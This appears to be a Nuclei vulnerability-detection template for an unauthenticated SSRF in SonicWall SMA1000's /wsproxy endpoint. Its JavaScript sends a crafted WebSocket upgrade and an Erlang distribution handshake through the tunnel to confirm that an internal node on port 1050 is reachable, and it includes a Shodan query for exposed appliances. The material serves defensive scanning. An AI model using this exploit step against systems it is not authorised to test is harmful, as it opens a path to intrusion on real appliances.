id: CVE-2026-15409

info:
  name: SonicWall SMA1000 - Server-Side Request Forgery
  author: DhiyaneshDk,rapid7
  severity: critical
  description: |
    SMA1000 Appliance Work Place interface contains a server side request forgery caused by improper request validation, letting remote unauthenticated attackers make requests to unintended locations, exploit requires no special privileges.
  impact: |
    Remote attackers can make the appliance send requests to unintended locations, potentially accessing internal resources or causing further attacks.
  remediation: |
    Update to the latest version.
  reference:
    - https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15409
    - https://github.com/remmons-r7/rapid7-CVE-2026-15409
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-15409
    cwe-id: CWE-918
    epss-score: 0.7844
    epss-percentile: 0.9954
  metadata:
    verified: true
    max-request: 1
    vendor: sonicwall
    product: sma1000
    shodan-query: http.html:"workplace" "SMA"
  tags: cve,cve2026,sonicwall,sma,ssrf,rce,kev,vkev

javascript:
  - code: |
      var m = require("nuclei/net");

      function toHex(bytes) {
        var h = "";
        for (var i = 0; i < bytes.length; i++) {
          var v = bytes[i].toString(16);
          h += (v.length === 1 ? "0" : "") + v;
        }
        return h;
      }

      function toBase64(bytes) {
        var alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        var out = "";
        var n = bytes.length;
        for (var i = 0; i < n; i += 3) {
          var b0 = bytes[i];
          var b1 = (i + 1 < n) ? bytes[i + 1] : 0;
          var b2 = (i + 2 < n) ? bytes[i + 2] : 0;
          out += alpha[b0 >> 2];
          out += alpha[((b0 & 0x03) << 4) | (b1 >> 4)];
          out += (i + 1 < n) ? alpha[((b1 & 0x0f) << 2) | (b2 >> 6)] : "=";
          out += (i + 2 < n) ? alpha[b2 & 0x3f] : "=";
        }
        return out;
      }

      function buildWSTextFrame(text) {
        var mask = [0x37, 0xfa, 0x21, 0x3d];
        var len = text.length;
        var frame = [0x81]; // FIN=1, RSV=0, opcode=1 (text)
        if (len < 126) {
          frame.push(0x80 | len);
        } else {
          frame.push(0x80 | 126);
          frame.push((len >> 8) & 0xff);
          frame.push(len & 0xff);
        }
        frame.push(mask[0]); frame.push(mask[1]);
        frame.push(mask[2]); frame.push(mask[3]);
        for (var i = 0; i < len; i++) {
          frame.push(text.charCodeAt(i) ^ mask[i % 4]);
        }
        return toHex(frame);
      }

      var responseOutput = "";
      var ssrfConfirmed = "false";
      var debugStatusHex = "";

      try {
        var conn = m.OpenTLS("tcp", Host + ":" + Port);
        conn.SetTimeout(10);

        var wsUpgradeReq = (
          "GET /wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050 HTTP/1.1\r\n" +
          "Host: " + Host + "\r\n" +
          "Upgrade: websocket\r\n" +
          "Connection: Upgrade\r\n" +
          "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n" +
          "Sec-WebSocket-Version: 13\r\n" +
          "Sec-WebSocket-Protocol: binary\r\n" +
          "User-Agent: SMA Connect Agent\r\n" +
          "\r\n"
        );
        conn.Send(wsUpgradeReq);

        var httpResp = conn.RecvString(4096);
        responseOutput = httpResp.substring(0, 400);

        if (httpResp.indexOf("101") === -1) {
          conn.Close();
          Export("response", responseOutput);
          Export("ssrf_confirmed", "false");
          return;
        }

        try {
          conn.SetTimeout(2);
          conn.RecvHex(7);   // consume the 7-byte SMA_READY_FRAME
          conn.SetTimeout(10);
        } catch (readyErr) {
          conn.SetTimeout(10);
        }

        var erlPacket = [
          0x00, 0x1f,                                           // length = 31
          0x4e,                                                 // tag 'N'
          0x00, 0x00, 0x00, 0x00, 0x01, 0x07, 0x0f, 0x94,     // FLAGS (64-bit BE)
          0x00, 0x00, 0x00, 0x00,                              // creation = 0
          0x00, 0x10,                                           // name_len = 16
          0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x40,           // "detect@"
          0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x31 // "127.0.0.1"
        ];

        var erlB64 = toBase64(erlPacket);
        var wsErlangFrame = buildWSTextFrame(erlB64);
        conn.SendHex(wsErlangFrame);

        var statusHex = conn.RecvHex(7);
        debugStatusHex = statusHex;
        conn.Close();

        var compactHex = statusHex.replace(/\s+/g, "");
        if (compactHex.indexOf("736f6b") !== -1) {
          ssrfConfirmed = "true";
          responseOutput += (
            "\n[DETECTION] Erlang distribution node on localhost:1050 responded " +
            "with status 'ok' via unauthenticated /wsproxy SSRF tunnel"
          );
        }

      } catch (e) {
        responseOutput += "\n[ERROR] " + e.toString();
        try { conn.Close(); } catch (ce) {}
      }

      Export("response", responseOutput);
      Export("ssrf_confirmed", ssrfConfirmed);
      Export("debug_status_hex", debugStatusHex);

    args:
      Host: "{{Host}}"
      Port: "443"

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "101 Switching Protocols"

      - type: word
        part: response
        words:
          - "[DETECTION] Erlang distribution node"

    extractors:
      - type: regex
        name: erlang_status_raw
        part: response
        regex:
          - 'debug_status_hex([0-9a-f ]+)'
# digest: 4a0a004730450220509600a4820ed89e23a7b27e67481ca94ecfe28a5c21b1639078f7384d178207022100afb497ff8357ffd2a7c85ce7d91569d94ab45e7fedbb906af780aa767380edfb:922c64590222798bb761d5b6d8e72950